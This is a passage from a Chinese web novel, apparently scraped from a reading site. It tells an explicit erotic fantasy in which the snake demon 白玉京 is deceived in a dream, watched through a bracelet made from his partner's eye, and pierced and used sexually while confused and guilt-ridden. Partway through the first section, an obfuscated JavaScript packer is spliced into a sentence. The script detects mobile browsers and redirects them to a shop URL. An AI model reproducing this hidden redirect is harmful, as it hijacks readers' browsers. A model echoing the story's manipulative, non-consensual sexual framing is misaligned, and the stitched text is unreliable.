他浑身都被生理性的炙热烧得滚烫,脑海更是化作了一团浆糊。 难以言喻的煎熬中,他没由来地想起了献妖大典上的那只手。 好难受……好想再被那只手摸一摸…… 但……那是谁的手呢? 白玉京整个人被烧到恍惚,记忆产生错乱,一时竟然想不起来那人到底是谁。 他苦思冥想了良久也没能想起来,最终放弃了,埋头在冰雪中睡了过去。 又过了不知道多久,第二波潮汐如迅雷般袭来,白玉京在呜咽中猛然惊醒。 他狼狈睁眼,却见一道身影竟站在他的床前,不知道已经站了多久。 ……玄冽? 白玉京有些恍惚,见状未能在第一时间回过神,反而下意识抬手,对方从善如流地牵住他的手,搂着腰将他抱进怀中。 宛如从水中掏出来的美人温顺地靠在男人怀中,瞳色涣散地垂眸,然后…… 他在一片白茫茫的雪色中,看到了自己手腕上鲜艳的一点红。 白玉京瞳孔竖成一条,骤然惊醒,不可思议地猛然抬眸,刚好对上玄冽深不见底的眸色。 白玉京刹那间心肺骤停。 那双眼中燃烧着冰冷的怒火和深不见底的欲色,除了先前窥视对方灵心,被对方吊起来的那次外,他从未见玄冽露出过这等表情。 而让他汗毛倒立的是,这一次,对方的怒意似乎更甚。 白玉京面色空白地僵在对方怀中,满脑都是不可思议。 怎么可能……这怎么可能!? 玄冽虽是渡劫修为,可在霜华这种妖界之中,又有精卫石坐镇,这人根本不可能找到他……更何况是这么短的时间内! 为什么?到底是哪里出现了问题? 白玉京急得恨不得咬尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802208|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴。 “……” “……!” 电光火石间,他突然意识到了什么,猛的低头看向手腕。 ……不对,有问题的根本不是其中的灵石,而是这个镯子本身! 白玉京脑海中浮现了一个耸人听闻的猜测,整个人随即汗毛倒立,话都懒得说,扭头就要跑。 “唔——!” 玄冽拖着尾巴将人猛然拽回来,俯身支在冰床上,昔日伪装出的冷淡彻底烟消云散,露出了下面深不见底的暗色:“卿卿,你要逃去哪里?” “……” 白玉京咬紧牙关,反手按在冰榻上,强行支撑着自己,头皮发麻地说出了那个猜测:“这镯子……是用你原身做的?” 只有玄冽的原身,才可能完全不受妖族圣物影响,从而分毫不差地在风雪中定位到白玉京。 玄冽闻言不置可否,只是低头凝视着他。 白玉京刹那间汗毛倒立,指尖扣在冰面上,难得产生了几分怯意。 ——他太了解玄冽了,对方不必回答,只一个眼神,他便知道自己猜对了。 白玉京吞了吞口水,颤抖着嗓音问:“……这是你的什么地方?” 手指?还是肌肤?还是…… 他尚未思索完毕,男人便用无比寻常的语气回答道: “是我的眼睛。” “……!?” 白玉京愕然地睁大眼睛,和身上人的平静形成了巨大的对比。 玄冽面不改色地看着他,仿佛把眼睛取下,作为手镯送给他,从而监视他的一切行为,是什么无比自然的事情。 白玉京一点点低下头,却见血镯之上,幽幽地浮现了诸多诡异如圆月的暗色纹路。 似是对他的注视感到喜悦,又像是在哄他开心,那些圆形纹路在他僵硬的目光中缓缓荡开。 那是血山玉的“眼睛”。 是传闻中,由最浓重的戾气所化的,无法瞑目之相。 可如今,这些“眼睛”却在讨他欢心。 疯子……这人简直是个疯子…… 白玉京心下骤然泛起了一阵难言的颤栗,那不是恐惧,反倒是一种不该升起的兴奋。 他清楚地意识到,自己幼蛇时期被惯出来的毛病又犯了。 通天蛇天性慕强且忠贞,因此格外青睐强大且占有欲旺盛的伴侣。 ……不能再这么下去了。 白玉京咬紧牙关,平生第一次生出了落荒而逃的念头。 再这么下去,他肯定会变得很奇怪……得赶紧逃跑…… 似是看出了他慌不择路的念头,玄冽一顿,竟直接咬破了自己的舌头。 鲜血顺着他的嘴角淌下,宛如从幽冥中走出来的阎罗。 可怖至极,但又英俊至极。 ……这个卑劣至极的王八蛋。 美人轻颤睫毛,忍着诱惑别开脸,却被人掐住脸颊,硬生生掰了回来。 心头血浓郁而美味的气息在空中弥漫,白玉京用尽全力才克制住自己,没丢人现眼地直接舔上去。 然而,下一刻,玄冽却掐着他的脸颊骤然低头,堪称凶狠地吻了上来。 第22章 洞房 洞房之内, 红烛摇曳。 美人就那么掀着衣摆,紧张而羞耻得等待着丈夫的下一步动作。 然而对方却陷入了一阵微妙的沉默,连带着白玉京手上的红玉镯也散发出了微妙的热意。 这是……不喜欢自己这样吗? 白玉京一怔, 心头猛地一跳。 是因为自己太过孟浪,所以夫君才—— 然而, 妄自菲薄的念头尚未彻底浮现,玄冽便好似听到了他的心声一样, 突然掐着他的腰欺身而上, 直接将人笼罩在身下。 “……!” 白玉京心肺骤停, 下意识向后躲去, 然而身后便是雕着龙凤的玉质床头, 他退无可退之下, 一时间眼睛都不知道该往哪里放了。 玄冽双手分开支在他身侧, 挡住了他的所有退路:“害羞?” 白玉京闻言一怔,躲闪的眼神一下子浮上了些许羞愧。 不该害羞的……自己不该在夫君这般害羞……也不应该下意识往后躲…… 刻在脑海中的认知拷打着他的理智,但与此同时,他的羞耻心被人恶劣地完全解放, 两重清醒交叠之下, 他整个人宛如被架在火上烤的蚂蚁。 “……!” 正当白玉京尚未思考出个所以然的时候,他的腰带突然被人毫不留情地抽出, 原本系在脖子上的红绸也被人解下。 本就大敞的喜服随着腰带的滑落, 一下子彻底散开, 从胸口到身下的大片白腻皆暴露在对方眼中,一切艳景变得无处遁形。 白玉京面色涨红, 一口气险些没上来。 但按照规矩, 新婚之夜, 夫妻之间确实要为彼此宽衣, 象征着相敬如宾,恩爱绵长,如若不然,便是夫妻反目的不祥之兆。 ……绝对不能让那种不详之兆发生,他要和夫君永远在一起。 白玉京在心底给自己做足了建设后,终于深吸一口气,松开了自己喜服的下摆。 挡在他身前的最后一丝布料终于随着这个动作滑落,白玉京见状面上滚烫,强忍着夹腿的习惯,颤抖着支起腿并将双腿分开,以便丈夫观赏。 “……” 他闭了闭眼,抬手小心翼翼地抽出玄冽的腰带,然而正当他打算脱下对方身上的喜服时,玄冽竟低头将那根红绸缠在了他的大腿上。 “……?” 白玉京一怔,垂眸看去,却见红绸系在腿间,勒出了些许丰腴白腻的肉感。 还没等他反应过来,下一秒,玄冽竟将红绸的另一端挂在了婚床之顶。 “……!” 白玉京见状瞬间面色爆红,抓着玄冽的衣襟颤声道:“夫君……这是做什么?” 玄冽义正辞严道:“防止你等下慌不择路时翻身。” 一旦翻身,膝盖触到床面则为跪,跪则不详。 白玉京闻言被激起了几分胜负欲,下意识回嘴道:“卿卿不会逃跑的,夫君也太瞧不起我了。” “是吗?”玄冽闻言勾了勾嘴角,“那为夫拭目以待。” 若是白玉京清醒之下听到此话,定要在心头骂他臭不要脸的还自称为夫。 但如今深入梦境,他闻言只是嗔了那人一眼,抬手继续尽起了床榻之上的义务。 男人身上的喜服终于被他亲手褪下时,白玉京却呼吸一颤,不可思议地看着对方胸口那道狰狞可怖的伤口,心疼得睁大眼睛。 “夫君,这是谁在你身上留的!?” 玄冽闻言一顿,低头吻住他的嘴唇,此地无银三百两道:“无妨,已经不疼了。” 他话音刚落,白玉京脑海中便凭空冒出了一段记忆,随即整个人僵在了床上。 ——是他顽劣之下咬的。 心脏一下子被毒药般的愧疚浸透,小美人呆呆地坐在那里,似是被自己过往的恶毒给惊呆了。 而他一心所向的丈夫,就那么恶劣的借着他的愧疚,抬手将他未被悬起的腿缓缓折在胸前。 玄冽比较满意这些天来的成果,起初抱在怀中轻飘飘的小蛇,此刻搂在怀中总算有了些许肉感,于是毫无顾忌地摸了两把。 “……!” 白玉京一颤,抬眸对上玄冽胸口那道堪称裂痕的伤口后,一下子又偃旗息鼓了。 愧疚驱使之下,他甚至含着泪垂眸,主动探手下去,以方便丈夫动作。 玄冽见状低头看了眼白玉京指尖的水光:“手一直放在这里会酸吗?” 小美人抿着唇摇了摇头,实际上指尖扣在腿侧近乎发白,不过确实不是酸的,而是因为羞耻紧张的。 玄冽难得体贴道:“把镯子取下来吧,戴着腿上便不用一直举着了。” 他端的是一副好丈夫的模样,然而话中的贴心却和那玉镯即将发挥的作用形成了鲜明的对比。 但白玉京清醒之时恐怕都不一定能听出这话背后隐藏的含义,更不用说在浑浑噩噩的梦中了。 “还是不用了。”他摇了摇头道,“留影镜被浸湿后……记录下来的画面会模糊。” “不用担心。”玄冽低头吻了吻他的嘴唇,“‘它’不怕水。” 白玉京见他如此执着,又抬头看了眼丈夫胸口的伤痕,最终,愧疚与爱意一起涌上心头,使得他乖巧地松开指尖,用左手摘下了手腕上的血色玉镯。 只这短短一会儿的功夫,玉镯上便已经挂了不少水珠,白玉京见状,眼底不由得闪过了一丝难为情。 “没关系。”好在他的丈夫足够宽容,“舔干净就好了。” 美人闻言乖巧地低下头,顺着他的话动作起来。 玄冽却在此刻突然闭了闭眼,掐在他左腿上的手指也不由得用力几分。 “……夫君?” 白玉京见状用那双无辜而清澈的双眸,仰脸担忧地看向他。 “无事。”玄冽睁开眼,声音喑哑道,“继续。” 确定他当真没有异样,并非受伤后,白玉京才放松下来,低头认真地方才未尽的事业。 待确定玉镯上没有其他异样后,他轻轻向玉镯上吹了口气。 却见原本只能挂在手腕上的玉镯,竟随着那道气息缓缓飘起,最终浮到白玉京腿上,诡异地开始融化,而后再次重塑。 下一刻,他的右腿上便箍上了一圈血红的玉环,严丝合缝得仿佛本该如此一样。 那地方实在巧妙,恰好能将玉镯的“本职工作”尽到位。 不过,那微热的玉环实在有些煨烫,白玉京被烫得忍不住瑟缩了一下。 “卿卿。” 玄冽低声唤了他一声,并未说出其他任何字眼,可白玉京闻言还是一颤,蓦然想起了昔日被人“责罚”的场景。 那记忆实在太历历在目,以至于他的大脑还未反应过来,身体便连忙放松下来。 这一动作使得“留影镜”蓦然动作,红玉环上的“眼睛”随即齐齐转向一侧,诡异而热烈地凝望着他。 白玉京只瞟了一眼,便被那堂而皇之的窥视感羞得近乎窒息。 只是留影镜而已,没关系的,区区一届死物……呜……可是真的好奇怪…… 那种宛如活物的异样感,让他骤然产生了一种躺在夫君床上却被他人窥视的感觉。 通天蛇刻在骨子里的忠贞让他羞耻得耳朵冒烟,白玉京将自己缩在床头,拼命在心中暗示那只是个死物,却依旧收效甚微。 玄冽耐心地等了一会儿,见白玉京还没把自己哄好,索性放弃心软,掐着他的腰直接把手探了下去。 “……!” 白玉京猛地睁开眼,喘着气发出可怜的呜咽声,竟在一开始便起了求饶的念头。 “夫、夫君……”他话说到一半蓦然想起自己不能求饶,连忙止住话头,眼神无助地环视一周后小声改口道,“能不能……” 玄冽眼神发暗地看着他,故意道:“大声点。” 白玉京耳垂宛如滴血,闻言却当真乖巧地加大了一点声音:“能不能把蜡烛吹灭……” 玄冽看了他片刻,非但没有把龙凤烛吹灭,反而直接把那盏用长明烛所雕的龙凤烛拿了过来。 “……!” 白玉京愕然地睁大眼睛。 玄冽将龙凤烛不容抗拒地递到他手中。 可怜的美人噙着泪接了,抬眸不可思议地看着自己恶劣的丈夫。 玄冽再次俯身,肆无忌惮地哄骗着自己年少的妻子:“捧好了,灭了可就不吉利了。” “……!” 白玉京信以为真,居然当真捧着烛光不敢再动一下。 于是,他就那么乖巧地靠在床头,一条腿被艳红的绸缎吊起,一条腿箍着血红的玉环,手中捧着长明的龙凤烛,任由玄冽低头,从他颤抖的侧脸一路往下,吻遍身上的每一寸肌肤。 烛光在永恒的梦境中摇曳,颤抖,过了不知道多久,床榻之间突然传来一阵崩溃的哭腔。 一只素白修长的手突然攥在悬起的红绸上,婚帐之下的美人猛地仰起脸,宛如濒死的天鹅般,露出了一截雪白的脖颈。 白玉京无力地攥着红绸,眼底尽是不可思议的茫然,似是被前所未有的感觉给震傻了,瞳色涣散着淌下泪来。 不行、不行……再这么下去会坏掉的—— 烛光映出他被泪水与汗水浸透的浓艳脸庞,嵌在腿肉间的血玉早已被弄得泥泞一片,但还是尽职尽责地记下了一切。 可是不能求饶……不能逃跑……呜…… 他被逼得无可奈何且退无可退,只能呜咽着任人欺负。 玄冽低头吻上他的额头,顺着他的泪痕一路往下,白玉京见状像是抓到最后一丝救命稻草一样,连忙仰起被泪水浸透的脸,软软地凑上去任人亲吻,只求自己的服软撒娇能让对方放过自己。 只可惜,小时候百试百灵的撒娇之法,如今到了床上却不再管用了。 茫然地睁大眼睛,眼泪如断线的珠子般顺着脸颊滑落,所有的求饶声尽数被人堵在嘴中。 积累到极致的情绪如烟花般在脑海中炸开。 然后,白玉京体内那点摇摇欲坠的阈值,终于被铺天盖地的快意给彻底冲破了。 刹那间,磅礴的妖力突然在梦中散开,余波甚至越出梦境,以极川宫为中心尽数荡开。 前所未有的妖力震碎了永夜之下终年不化的极川,而另一侧,霜华正面的帝华宫内,正与苏九韶下棋的江心月蓦然一顿。 苏九韶心头一紧:“妖王陛下?可是何地有异变?” “……无事。”江心月收回目光,低头看向棋局,竟直接投子认输,“这把便算是姑娘赢了,妾身藏书阁中的古籍,姑娘可随意挑选。” 苏九韶一怔——这局尚未下完,霜华妖王怎么就认输了?而且看起来还一副心情很好的样子……难道是有什么喜事? 妖力震荡的中心,幻梦之内,玄冽将白玉京拥在怀中,一边安抚般抚摸着他的脊背,一边吻着他的唇舌低声唤他:“卿卿……” 卿卿,我年少可怜的爱人。 欢迎成熟。 一声声的爱语中,紧绷到微微痉挛的身体逐渐放松了下去。 先前还哭得可怜不已,仿佛被人如何欺凌的美人,此刻却安安静静地靠在他怀中。 好舒服……夫君好厉害……自己刚刚为什么要哭呢? 瞳色染上蜜糖般滑开,羞耻心随着暖洋洋的慰藉尽数消散。 而他脑海中那点本就不多的理智,则随着成熟,彻底堕入黑暗甘甜的美梦之中。 喜欢……好喜欢夫君…… 过了不知道多久,白玉京终于从那股微妙的痉挛中缓过劲来,腰肢不再颤抖,只剩下箍着红玉的大腿还有些余震。 原本系在另一处大腿上的红绸,早被玄冽解了下去,而随着对方抽身退开,白玉京感受到微微的凉意后,下意识便要合拢双腿,却被人抬手按住。 他一怔,随即睫毛微颤着看向自己身下。 是了,得用留影镜全部记录下来。 白玉京于是抿着唇探手下去,过了不知道多久,待玉环上的无数“眼睛”终于看满意后,血玉上随即泛出了幽深的光晕,似是在褒奖他的听话。 ……第一段留影到此便结束了。 白玉京收回指尖,扭头任由自己跌倒在男人怀中,撒娇般埋在对方怀里。 玄冽低头吻过他的眉眼,然而彻底成熟的通天蛇被解放的不止有蛇性本淫的天性,还有嗜血残忍的妖性。 玄冽刚吻到鼻尖,还没来得及往下,娇艳的美人便等不及一般搂住他的脖子,黏黏糊糊地主动吻上来。 然后,玄冽嘴唇上瞬间便被人咬出了一道不浅的口子。 他垂眸看向怀中略显泛痴的美人,于是了然——这是饿了。 蛇妖与狐妖那之类天生能消化精气的妖属不同,与一些天性嗜血的灵植、昆虫也不一样。 他们在辟谷之前的主要食物来源是血肉,所以他们对精血这类食物只能通过吞咽摄入,没办法用其他办法消化。 于是,玄冽抬手撩起对方耳边的碎发,看着那张艳丽中带着痴迷的容颜,面不改色地咬开舌尖。 下一刻,白玉京果不其然搂着他的脖子,亲亲腻腻地便吻了上来。 鲜血混杂着爱意在唇舌间交融,但有那么一瞬间,锋利的獠牙划过玄冽的嘴角,他丝毫不怀疑对方此刻产生了将他舌头咬掉并且尽数吞咽下去的念头。 但最终,白玉京若无其事地收回獠牙,又变成了那个温顺粘人的漂亮妻子,一点也看不出方才的凶残。 换了哪个寻常人来,恐怕都要被吓得半死,但玄冽见状却眸色一缓。 卿卿虽已成熟,但毕竟年少,分不清食欲与爱欲也是正常的。 想到这里,玄冽抬手拍了拍怀中人的腰。 白玉京吃饱后总算恢复了一点理智,立刻便意识到对方的意思。 ——第二轮开始,该换蛇尾了。 美人恋恋不舍地舔了舔嘴角的血珠,撑着发软的腰身起来。 一阵淡淡的白光在喜帐内晕开,下一秒,雪白的蛇尾如圣洁的裙摆般,一下子铺满了整张床榻。 那尾尖迫不及待地缠上玄冽的手腕,顺着尾尖往上看去,却见原本人形时箍在大腿上的红玉环,随着蛇尾的迤逦,此刻刚好变作蛇尾粗细,刚好箍在那处缺少鳞片遮盖的地方。 玄冽一顿,低头对上小蛇竖起的瞳孔。 白玉京向他露出了一个甜甜的笑容,抬手勾住他的脖子,撒娇般吻上来:“夫君……第二轮能让卿卿在上面吗?” 玄冽挑了挑眉:“理由。” “蛇尾要比人形深……在上面才好受孕。”白玉京发自内心道,丝毫没觉得这话有什么不对,“能尽快怀上夫君的蛋。” “……” 玄冽的呼吸微妙地凝滞了三分。 偏偏怀中人还仰着脸无辜地关心他:“夫君?” “没必要。”玄冽掐了把圈在自己手腕上的尾尖,“会让你受孕的。” 他一如既往的冷静声音与话里的内容形成了鲜明的对比,白玉京一怔,半晌竟扭头把自己埋进了被子里,耳根红了一片。 玄冽见状探手下去,摸到什么后了然:“听不得这些?” “……” “既然这么容易害羞,”玄冽俯身,语气内毫无挑逗之意,在白玉京耳边认真询问道,“生了孩子拿什么喂?” 白玉京闻言蓦然红了脸,半晌才露出小半张脸回答道:“……喂奶。” 玄冽掐着他的下巴低头吻上来,厮磨间低声说了句什么。 “……!” 白玉京攀上对方肩膀,受不了一般吻上去,不许对方污蔑自己:“肯定会有的,卿卿才不会饿着宝宝……” 玄冽闻言一笑,这一次他再未遮掩,眉眼间尽是笑意。 他本就是典型的剑眉星目,抛却本体不谈,简直完美符合正气凛然四个字。 往日冷面寡言时,他英俊得宛如冷山月。 可如今搂着人一笑,倒真像是人间娶了心上人的新郎官,意气风发得如同朗月入怀。 白玉京见状一怔,登时怦然心动。 然而,下一刻,那人又凑到他耳边面不改色地说了句荤话,一下子便把他拉回了现实。 白玉京刹那间面色通红,连忙抬手捂住他的嘴:“求您别说了……” “你。” “……求你别说了。” 玄冽闻言竟当真不再继续,听到他终于安静下来后,白玉京在心底松了口气。 然而,他嘴上说着不让玄冽继续说,自己却悄悄垂下眼睛,忍不住抚上自己的小腹。 彻底成熟的身体,在什么人故意放大的天性驱使下,忍不住幻想起当真怀上蛋的情形。 不过白玉京还没来得及为此害羞情动,便突然感觉到耳垂一轻——什么人从他耳朵上取下了耳饰。 他蓦然从揣蛋的幻想中回神,劈手就要去夺:“干什么?夫君送给我的东西就是我的——” 先前弄丢长生佩留下的后遗症,配上通天蛇喜爱玉石珠宝,且对拥有之物占有欲极强的天性,使得白玉京险些在床上和玄冽呲牙。 此事放在寻常人眼中,恐怕要质疑他的任性,但玄冽见状却满意地吻了吻白玉京的脸颊,似是在褒奖对方的自私:“是你的便永远是你的,除非你不要它,不然没人能拿走。” 白玉京闻言松了口气,软下腰身靠在对方怀里,但还是有些心有余悸:“既是我的,夫君把它取下来是要做什么?” 玄冽道:“换个地方戴罢了。” 言罢,在美人不明所以的目光中,他拿着耳坠划过对方胸口,顺着鳞片继续向下,最终,停在了那处没有蛇鳞的地方。 “……” “……!?” 白玉京怔愣了三秒突然意识到他的意思,整个人被吓得险些炸鳞,立刻攥上他的手腕:“不、不可以……!” 绝对不能戴在那里……! 如果戴在那处地方,只要被人轻轻一扯,他绝对会丢人地摇着尾巴水流成河。 况且按照规矩,他等下还要自己用尾尖将这处揉开……以做好受孕的准备…… 所以他、他马上就是要生蛋的蛇了,怎么还能和小蛇一样失态? “不行,不行……”想到这里,白玉京攥着那人的手腕,疯狂地摇头,“不能戴在那里……” 玄冽俯身,抵着他的额头反问道:“那卿卿自己说,该戴在哪里?” 尚且不知道自己被人哄骗的小美人连忙道:“除了这里,哪里都可以。” 玄冽闻言一顿,突然沉默了,连带着圈在白玉京小腹的玉环也跟着闪了两下。 然而白玉京并未看出他的忍耐,还以为对方是对自己的回答不满意。 白玉京见状生怕对方当真把耳坠往自己身下戴,心下正急得团团转时,他突然灵机一动,连忙俯下身,握着丈夫的手便往自己白腻光洁的胸口按去: “夫君……这里、这里也可以戴……” 作者有话说: 我的理智:该走剧情了!不能再这样欺负小蛇了!我的手:再写一章[可怜] 本章含一万营养液加更,希望宝子们看得开心,感谢大家的霸王票和营养液,爱你们啵啵~ 第23章 黄粱 白玉京尚且不知自己落入了玄冽的圈套, 他说完生怕对方不答应,又连忙攥着人的手往自己怀里按了按。 目的达成,玄冽索性也没再演下去, 他直接调低了怀中人的痛感,低头吻过那处。 “……!” 美人蓦然一缩, 睫毛轻颤间,却并未挡住身前, 反而犹豫了一下抬手, 抬手拥住了怀中人的头发:“夫君, 你……呜——!” 玉坠趁着他不注意从肌肤中穿过, 白玉京瞳孔骤缩, 刹那间僵在原地。 但玄冽遗忘了一点, 彻底失去痛感后, 所带来的感觉与拥有痛感时截然不同。 下一刻,白玉京突然颤抖着将脸埋进玄冽怀中,搂着玄冽的脖子说什么也不愿撒手。 玄冽见状连忙拥着人,轻拍着他光洁的肩膀:“疼?” “……不疼。” 美人挂着眼泪摇了摇头, 缓了半天才抬眸看向自己丈夫, 半是埋怨半是嗔怪道:“夫君怎么能招呼都不打一声就动手。” “是为夫的错。”玄冽低头吻了吻他眼角的泪珠,奈何紧跟着便话音一转道, “抬起来我看看。” “……” 白玉京闻言抿了抿唇, 乖巧地坐起身任由对方打量。 玄冽毫不客气地抬手拨弄了一下那枚明月般皎洁的玉坠, 眼神晦暗间,突然道:“我反悔了。” “……什么?” 白玉京吓了一跳, 连带着玉坠也跟着颤了一下。 “应该把这里也挂上坠子。”说着, 他的手指顺着白玉京的胸口一路往下, 最终停在了那处没有被鳞片遮盖的地方, 语气如常道,“就用你最喜欢的琥珀做坠,再用金链和上面的玉坠连缀在一起……” “抖什么,卿卿不喜欢吗?” “……” 白玉京随着他的话缓缓睁大双眼,先前还自以为迈入成熟期而无所不能的小蛇一下子被吓傻了。 这两处之间怎么、怎么能连缀在一起……!? 他吓得头皮发麻,身体不受控制地发颤,可脑海中却忍不住浮现了对方话语中描述的画面。 琥珀与金玉交相辉映,肯定会无比漂亮…… 不对,白玉京蓦然打了个激灵,连忙拉回被人哄骗着险些跑偏的思绪,若是当真用金链连缀,只要不小心扯到一处,肯定便会引起接二连三的反应。 到那时,他熟透的身体却还得兼顾哺育幼崽,尚且无知的宝宝躺在他怀中等待着爹爹喂他,可它那不称职的小爹爹却要先安慰自己不争气的身体…… 白玉京被那狎昵下流的幻想刺激得险些崩溃,方才忍住的泪水一时间又险些泛滥:“不行,真的不行,求、求求夫君,至少不要连起来……” “好了,逗你的。”玄冽见他吓得一下子浸透了身下的鳞片,低头吻了吻他发烫的耳尖,“我怎么舍得。” 小美人扑簌着被泪水粘作一片的睫毛,闻言蓦得松了口气,连忙靠在人怀里道:“谢谢夫君。” 看着和梦外一样,分明被人卖了还帮着人数钱的小蛇,玄冽忍不住吻了吻他的脸颊,抬手揉弄着新挂上去的玉坠,低声夸赞道:“真漂亮。” 白玉京闻言一怔,下一刻竟从耳根一下子红遍了全身,连带着眼神也躲闪起来。 玄冽见状了然,低头吻过他的锁骨:“卿卿是世界上最漂亮的小蛇。” “……” 白玉京从小就喜欢听夸奖,但又不禁夸,眼下被人哄得七荤八素,腰都软了半截,于是忍着羞耻微微挺胸,大大方方地任人亲吻。 然而那人仍嫌不够,可怜的美人被人夸得不知东南西北,迷糊间,甚至顺着那人的意思,抬手自己摸上玉坠,一边呜咽,一边轻轻扯着玉坠把玩,以满足对方恶劣又狎昵的旁观癖。 就在此刻,玄冽突然招呼都没打一声探手下去,将卡在未覆鳞的蛇腹处,所有“眼睛”都看向一侧的红玉环毫不留情地往下拽去。 “——!” 白玉京猝不及防间手上一颤,不小心猛地拽了下玉坠,双重灭顶的刺激下,使得他连叫都没能叫出声,整个人一下子跌倒在玄冽怀中。 闪着无数眼睛的血玉环随着蛇尾向下而逐渐缩小,不管落在哪一处,它都变成刚好将那雪白皎洁的蛇尾箍出微微肉感,但又不至于让白玉京感觉到疼的大小。 玄冽最终把玉环停在了白玉京的尾尖处,此刻那枚原本是玉镯的红玉环,已经变成了戒指大小。 垂眸对上怀中人泛着泪光的眼眸,玄冽认真解释道:“这样方便你等下记录。” 他那副郑重其事的语气,仿佛当真是在谈论什么正经事一样。 而白玉京闻言竟信以为真,怔了一下后,蓦然想起了差点被自己抛之脑后的事情——是了,第二轮用蛇尾承欢,需要自己先行动作。 他抿着唇翘起蛇尾,看向那枚和戒指一样小巧的红玉环,怔了一下后终于意识到了它的妙用。 刚……刚好够探进去…… 白玉京垂眸看向戒指,一时间头皮发麻。 原本密密麻麻的“眼睛”随着玉环的缩小,此刻只剩下一个。 可那股凝视感却并未因为“眼睛”的合一而变浅,反而越发强烈起来。 要、要探进去吗……? 没关系的,只是死物而已,白玉京心中小声和自己道。 于是当着玄冽的面,探手下去按住未被蛇鳞覆盖的地方,轻轻往两侧一拉。 然而,哪怕他再怎么哄骗自己,通天蛇的天性仍旧不容违背。 自我催眠之下,依旧有一道声音在他心底响起——你要把除了夫君之外其他人的眼睛,放进里面吗? 可是夫君都还没仔细看过那里……你真是一条不忠的小蛇。 “……!” 违背天性的巨大羞耻让白玉京恨不得把自己埋进被褥之中,于是尾尖悬于其上,迟迟未有动静。 过了不知道多久,他终于克服着本能,缓缓将尾尖放了下去。 “呜……” 戴在手腕上只是温暖的玉镯,与体温较低的蛇身相比,便称得上煨烫了。 但万事皆有相对一面,对于那血玉所做的玉环,便如同被柔软微凉的琼脂所包裹一般。 玄冽突然闭上双眼。 白玉京见状一怔,他本就羞耻得耳垂滴血,见状还以为丈夫在意自己将他物置于此处,于是下意识便想把尾尖往外抽。 下一刻,玄冽却神色如常地睁开眼:“继续。” 只是不知为何,他的眸底缓缓散开了一点暗红,就好似……什么情绪即将控制不住一般。 白玉京有些担忧地看了他一眼,还未来得及关切,玄冽便好似听到了他的心声,低头吻了吻他的眼睛:“无事,不必担心。” 见他当真没有其他异状后,白玉京才放下心,抿着唇垂眸,听话地继续动作。 然而尾尖本就是蛇妖身上第二不能碰的地方,如今又被戴上了炙热的玉环,双重刺激之下,没一会儿白玉京便卸了力,哼哼唧唧得往人怀里靠。 “夫君……”他晃着尾尖撒娇道,“没力气了,你帮帮卿卿……” 这一招他从小用到大,堪称百试不爽。 这一次也果不其然,玄冽虽掐了下他的尾尖道:“娇气。” 但下一刻,那人却托着他的后腰将他抵在床头,白玉京尚未意识到他要干什么,对方竟低下了头。 “……!?” 白玉京蓦然意识到玄冽的打算,吓得头皮发麻,连忙抓住身下人的头发:“夫君,不……唔——!” 烟花般的刺激在脑海中骤然炸开,白玉京神色空白的仰着脸,浑身颤栗,一时间连呼吸都有些困难。 他的瞳孔不受控制地涣散,心头只剩下震惊与不可思议两种情绪。 怎么能……怎么能舔那里…… 待他回过神,第一反应便是拽着身下人的头发哭求,但他嘴上喊着什么不行,脏,夫君别这样,尾巴却异常诚实地卷上了对方的脖子。 似乎他的丈夫要当真敢嫌弃他,亦或者当真听从他的推拒直起身,他便要直接在床上将人勒死。 成熟的通天蛇对所有物的占有欲之强,由此便可见一斑。 然而白玉京哭着哭着,声音便逐渐弱了下去,尤其当他低头小心翼翼地偷看,刚好撞上玄冽抬起的目光时,所有欲拒还迎的话霎时便僵在了他嘴边。 却见对方神色之间依旧冷静,仿佛眼下做得不是伺候妻子的狎昵之事,而是什么关乎天地命运的正事。 唯独他高挺的鼻梁与单薄的嘴唇上,挂着晶莹剔透的光泽,那副正气凛然、英俊深邃的面容,与他嘴下那处地方的颜色形成了鲜明的对比。 “……” 白玉京略显怔愣的缓缓睁大眼睛,在这被人编织的混沌之中,他竟怦然心动。 下一刻,美人蓦然羞红了脸,扭头埋在被褥之间。 玄冽起身,搂着他的腰,将他从被褥中抱起。 最终当真如白玉京一开始所求一样,让他在了“上面”,只不过他还是和先前一样娇气,自己要求的事,却只坚持了不到半炷香便软在对方怀里,搂着肩膀哼哼唧唧地央着夫君来。 然而,当他夫君真的顺着他的意思来时,他又受不了了。 最终,按照规矩结束时,他整条蛇直接软在了床榻上,连带着尾尖都蜷缩不动,彻底瘫在了床上。 甚至被人卷着蛇尾把玩,他都依旧没有反应,就那么躺在床上任人摆弄,像个听话又漂亮的艳丽人偶。 “卿卿不是要怀蛋吗?”玄冽见他眸色涣散着沉浸在余韵中,故意提醒道,“出来可就怀不上了。” “……” “……!” 白玉京闻言骤然回神,脑子尚未反应过来,手指便已经手忙脚乱地捂了下去。 不能流出来……出来就怀不上宝宝了…… 玄冽见状,眼底闪过了一丝笑意。 “夫君别笑了,”白玉京余光瞟见他的模样后,当即蹙眉嗔怒道,“倒是帮帮忙啊!” “好。”玄冽闻言敛了笑意,低头道,“为夫帮你。” “……等等,不是这么帮忙!夫君……唔——!” 这一夜似乎格外漫长,长到两人仿佛已经恩爱厮守了一生,可天依旧没有亮。 白玉京餍足地埋在丈夫怀中,半阖着涣散的漂亮眼眸,却不怎么期待天亮。 像这样永远幸福下去……有什么不好呢? 为什么一定要醒来呢? 可是夜晚尚且如此美好,明日朝阳初升之时,又该有多么幸福? 想到这里,白玉京打了个哈欠,软声问道:“夫君,什么时候天亮啊……” “卿卿受不住了?” “不是,”他抬手搂住那人的脖子,亲昵地凑上前亲了那人一口,“我只是想快些和夫君走到下一日,下下一日……” 玄冽闻言一顿。 多么美好的承诺,只可惜,一切都是他偷来的。 “……夫君?”白玉京眯了眯眼,“你怎么不说话?” 眼见着没得到回答的妻子下意识便要质疑他的忠心,玄冽回神道:“卿卿可曾听过,黄粱一梦的故事?” 